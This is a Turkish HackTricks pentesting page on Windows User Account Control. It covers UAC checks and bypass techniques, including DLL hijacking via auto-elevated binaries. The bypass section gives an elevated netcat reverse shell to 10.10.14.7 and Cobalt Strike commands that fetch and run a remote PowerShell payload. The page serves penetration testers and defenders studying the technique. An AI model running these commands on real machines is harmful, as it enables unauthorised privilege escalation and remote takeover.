UAC - User Account Control

HackTricks'i Destekleyin

Trickest kullanarak dünyanın en gelişmiş topluluk araçlarıyla iş akışlarını kolayca oluşturun ve otomatikleştirin. Bugün Erişim Alın:

UAC

Kullanıcı Hesabı Kontrolü (UAC), yükseltilmiş aktiviteler için onay istemi sağlayan bir özelliktir. Uygulamalar farklı bütünlük seviyelerine sahiptir ve yüksek seviyeye sahip bir program, sistemi potansiyel olarak tehlikeye atabilecek görevleri yerine getirebilir. UAC etkinleştirildiğinde, uygulamalar ve görevler her zaman bir yönetici hesabının güvenlik bağlamında çalışır; yönetici, bu uygulamaların/görevlerin sisteme yönetici düzeyinde erişim izni almasını açıkça yetkilendirmedikçe. Bu, yöneticileri istenmeyen değişikliklerden koruyan bir kolaylık özelliğidir, ancak bir güvenlik sınırı olarak kabul edilmez.

Bütünlük seviyeleri hakkında daha fazla bilgi için:

Integrity Levels

UAC uygulandığında, bir yönetici kullanıcıya 2 jeton verilir: standart bir kullanıcı anahtarı, normal seviyede düzenli işlemler yapmak için ve yönetici ayrıcalıkları olan bir jeton.

Bu sayfa, UAC'nin nasıl çalıştığını derinlemesine tartışmakta ve oturum açma süreci, kullanıcı deneyimi ve UAC mimarisini içermektedir. Yöneticiler, UAC'nin kendi organizasyonlarına özgü nasıl çalıştığını yerel düzeyde (secpol.msc kullanarak) veya bir Active Directory alan ortamında Grup Politika Nesneleri (GPO) aracılığıyla yapılandırıp dağıtmak için güvenlik politikalarını kullanabilirler. Çeşitli ayarlar detaylı olarak burada tartışılmaktadır. UAC için ayarlanabilecek 10 Grup Politika ayarı vardır. Aşağıdaki tablo ek detaylar sağlamaktadır:

UAC Atlatma Teorisi

Bazı programlar, kullanıcı yönetici grubuna ait ise otomatik olarak yükseltilir. Bu ikili dosyaların içinde Manifests kısmında autoElevate seçeneği True değeri ile bulunur. İkili dosya ayrıca Microsoft tarafından imzalanmış olmalıdır.

Sonra, UAC'yi atlatmak ( orta bütünlük seviyesinden yüksek seviyeye yükseltmek) için bazı saldırganlar bu tür ikili dosyaları rastgele kod çalıştırmak için kullanır çünkü bu, Yüksek seviye bütünlük sürecinden çalıştırılacaktır.

Bir ikilinin Manifest dosyasını sigcheck.exe aracını kullanarak kontrol edebilirsiniz. Ve süreçlerin bütünlük seviyesini Process Explorer veya Process Monitor (Sysinternals) kullanarak görebilirsiniz.

UAC'yi Kontrol Et

UAC'nin etkin olup olmadığını doğrulamak için:

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA    REG_DWORD    0x1

Eğer 1 ise UAC etkin, eğer 0 ise veya mevcut değilse, UAC etkisizdir.

Sonra, hangi seviye yapılandırıldığını kontrol edin:

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin    REG_DWORD    0x5
  • Eğer 0 ise, UAC istemi olmayacak (gibi devre dışı)

  • Eğer 1 ise, yönetici kullanıcı adı ve şifre istenir yüksek haklarla ikili dosyayı çalıştırmak için (Güvenli Masaüstünde)

  • Eğer 2 ise (Her zaman beni bilgilendir) UAC, yönetici yüksek ayrıcalıklarla bir şey çalıştırmaya çalıştığında her zaman onay isteyecektir (Güvenli Masaüstünde)

  • Eğer 3 ise 1 gibi ama Güvenli Masaüstünde gerekli değil

  • Eğer 4 ise 2 gibi ama Güvenli Masaüstünde gerekli değil

  • Eğer 5 ise (varsayılan) yöneticiye yüksek ayrıcalıklarla Windows dışı ikili dosyaları çalıştırmak için onay isteyecektir

Sonra, LocalAccountTokenFilterPolicy değerine bakmalısınız Eğer değer 0 ise, yalnızca RID 500 kullanıcısı (yerleşik Yönetici) UAC olmadan yönetici görevlerini yerine getirebilir ve eğer 1 ise, "Yöneticiler" grubundaki tüm hesaplar bunları yapabilir.

Ve son olarak FilterAdministratorToken anahtarının değerine bakın Eğer 0 (varsayılan), yerleşik Yönetici hesabı uzaktan yönetim görevlerini yapabilir ve eğer 1 ise, yerleşik Yönetici hesabı uzaktan yönetim görevlerini yapamaz, LocalAccountTokenFilterPolicy 1 olarak ayarlanmadıkça.

Özet

  • Eğer EnableLUA=0 veya yoksa, hiç kimse için UAC yok

  • Eğer EnableLua=1 ve LocalAccountTokenFilterPolicy=1 , Hiç kimse için UAC yok

  • Eğer EnableLua=1 ve LocalAccountTokenFilterPolicy=0 ve FilterAdministratorToken=0, RID 500 için UAC yok (Yerleşik Yönetici)

  • Eğer EnableLua=1 ve LocalAccountTokenFilterPolicy=0 ve FilterAdministratorToken=1, Herkes için UAC var

Tüm bu bilgiler metasploit modülü kullanılarak toplanabilir: post/windows/gather/win_privs

Kullanıcınızın gruplarını kontrol edebilir ve bütünlük seviyesini alabilirsiniz:

net user %username%
whoami /groups | findstr Level

UAC atlatma

Kurbanın grafik erişimine sahipseniz, UAC atlatma oldukça basittir çünkü UAC istemi göründüğünde "Evet"e tıklamanız yeterlidir.

UAC atlatma, aşağıdaki durumda gereklidir: UAC etkin, işleminiz orta bütünlük bağlamında çalışıyor ve kullanıcınız yöneticiler grubuna ait.

UAC'nın en yüksek güvenlik seviyesinde (Her Zaman) atlatmanın, diğer seviyelerden (Varsayılan) çok daha zor olduğunu belirtmek önemlidir.

UAC devre dışı

Eğer UAC zaten devre dışıysa (ConsentPromptBehaviorAdmin 0) yönetici ayrıcalıklarıyla bir ters kabuk çalıştırabilirsiniz (yüksek bütünlük seviyesi) gibi bir şey kullanarak:

#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"

UAC atlatma ile token kopyalama

Çok Temel UAC "atlatma" (tam dosya sistemi erişimi)

Eğer Administrators grubunda bir kullanıcı ile bir shell'e sahipseniz, C$ paylaşımını SMB (dosya sistemi) üzerinden yeni bir diske yerel olarak monte edebilirsiniz ve dosya sisteminin içindeki her şeye erişiminiz olur (hatta Administrator ana klasörüne).

Bu numaranın artık çalışmadığı görünüyor

net use Z: \\127.0.0.1\c$
cd C$

#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop

UAC atlatma ile cobalt strike

Cobalt Strike teknikleri, UAC maksimum güvenlik seviyesinde ayarlanmamışsa yalnızca çalışacaktır.

# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
# UAC bypass via service
elevate svc-exe [listener_name]

# Bypass UAC with Token Duplication
runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"

Empire ve Metasploit ayrıca UAC'yi bypass etmek için birkaç modül sunmaktadır.

KRBUACBypass

Dokümantasyon ve araç https://github.com/wh0amitz/KRBUACBypass adresinde bulunmaktadır.

UAC bypass exploitleri

UACME, birkaç UAC bypass exploitinin derlemesidir. UACME'yi visual studio veya msbuild kullanarak derlemeniz gerektiğini unutmayın. Derleme, birkaç çalıştırılabilir dosya (örneğin Source\Akagi\outout\x64\Debug\Akagi.exe) oluşturacaktır, hangi dosyaya ihtiyacınız olduğunu bilmeniz gerekecek. Dikkatli olmalısınız çünkü bazı bypasslar, kullanıcıya bir şeylerin olduğunu bildiren bazı diğer programları uyarabilir.

UACME, her tekniğin çalışmaya başladığı derleme sürümünü içerir. Sürümlerinizi etkileyen bir tekniği arayabilirsiniz:

PS C:\> [environment]::OSVersion.Version

Major  Minor  Build  Revision
-----  -----  -----  --------
10     0      14393  0

Ayrıca, bu sayfasını kullanarak Windows sürüm 1607'yi derleme sürümlerinden alabilirsiniz.

Daha Fazla UAC Bypass

Burada AUC'yi atlatmak için kullanılan tüm teknikler, kurbanla tam etkileşimli bir kabuk gerektirir (yaygın bir nc.exe kabuğu yeterli değildir).

Bir meterpreter oturumu kullanarak elde edebilirsiniz. Session değeri 1 olan bir işleme geçin:

(explorer.exe çalışmalıdır)

GUI ile UAC Bypass

Eğer bir GUI'ye erişiminiz varsa, UAC istemini aldığınızda sadece kabul edebilirsiniz, gerçekten bir bypass'a ihtiyacınız yok. Bu nedenle, bir GUI'ye erişim sağlamak UAC'yi atlatmanıza olanak tanır.

Ayrıca, birinin (potansiyel olarak RDP aracılığıyla) kullandığı bir GUI oturumu alırsanız, yönetici olarak çalışan bazı araçlar olacaktır; buradan örneğin admin olarak doğrudan bir cmd çalıştırabilirsiniz, böylece UAC tarafından tekrar istemde bulunulmaz, https://github.com/oski02/UAC-GUI-Bypass-appverif. Bu biraz daha gizli olabilir.

Gürültülü brute-force UAC bypass

Eğer gürültü yapmaktan rahatsız değilseniz, her zaman şunu çalıştırabilirsiniz: https://github.com/Chainski/ForceAdmin bu kullanıcı kabul edene kadar izinleri yükseltmek için istek yapar.

Kendi bypass'ınız - Temel UAC bypass metodolojisi

UACME'ye bir göz atarsanız, çoğu UAC bypass'ının bir Dll Hijacking zafiyetini kötüye kullandığını göreceksiniz (esas olarak kötü amaçlı dll'yi C:\Windows\System32 içine yazarak). Dll Hijacking zafiyetini nasıl bulacağınızı öğrenmek için bunu okuyun.

  1. Otomatik yükseltme yapacak bir ikili dosya bulun (çalıştırıldığında yüksek bütünlük seviyesinde çalıştığını kontrol edin).

  2. Procmon ile DLL Hijacking'e karşı savunmasız olabilecek "NAME NOT FOUND" olaylarını bulun.

  3. Muhtemelen bazı korumalı yollar (C:\Windows\System32 gibi) içinde yazma izinlerinizin olmadığı DLL'yi yazmanız gerekecek. Bunu aşmak için:

    1. wusa.exe: Windows 7, 8 ve 8.1. Korumalı yollar içinde bir CAB dosyasının içeriğini çıkarmaya olanak tanır (çünkü bu araç yüksek bütünlük seviyesinden çalıştırılır).

    2. IFileOperation: Windows 10.

  4. Korumalı yola DLL'nizi kopyalamak ve savunmasız ve otomatik yükseltilmiş ikili dosyayı çalıştırmak için bir script hazırlayın.

Başka bir UAC bypass tekniği

Bir autoElevated ikili dosyanın kayıttan okumaya çalışıp çalışmadığını izlemeyi içerir; bu, çalıştırılacak bir ikili dosyanın veya komutun adını/yolunu arıyorsa daha ilginçtir (bu bilgi HKCU içinde aranıyorsa).

Trickest kullanarak dünyanın en gelişmiş topluluk araçlarıyla iş akışlarını kolayca oluşturun ve otomatikleştirin. Bugün Erişim Alın:

HackTricks'i Destekleyin

Last updated